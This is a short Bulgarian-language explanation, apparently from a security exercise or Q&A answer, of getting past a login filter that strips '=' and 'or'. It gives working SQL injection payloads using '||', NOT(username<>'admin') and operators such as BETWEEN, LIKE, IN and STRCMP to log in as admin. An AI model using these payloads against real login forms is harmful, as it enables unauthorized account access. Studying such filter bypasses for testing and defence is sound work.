Ако приемем това дефиниция на lvl2_filter
, което по същество премахва всяко появяване на =
и or
докато вече не бъде намерен, трябва да е възможно да се използва логическа операция ИЛИ
с ||
вместо OR
и прост израз, който се оценява на истина като:
username: dummy
password: ' || '1
Това би довело до:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
За да изберете конкретен потребител, можете да използвате правилата на булевата алгебра
, където x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Това би довело до:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Тук <>
е еквивалентен на !=
но не съдържа =
.
Има и други операции, които човек може да използва за осигуряване на потребителско име равно на admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …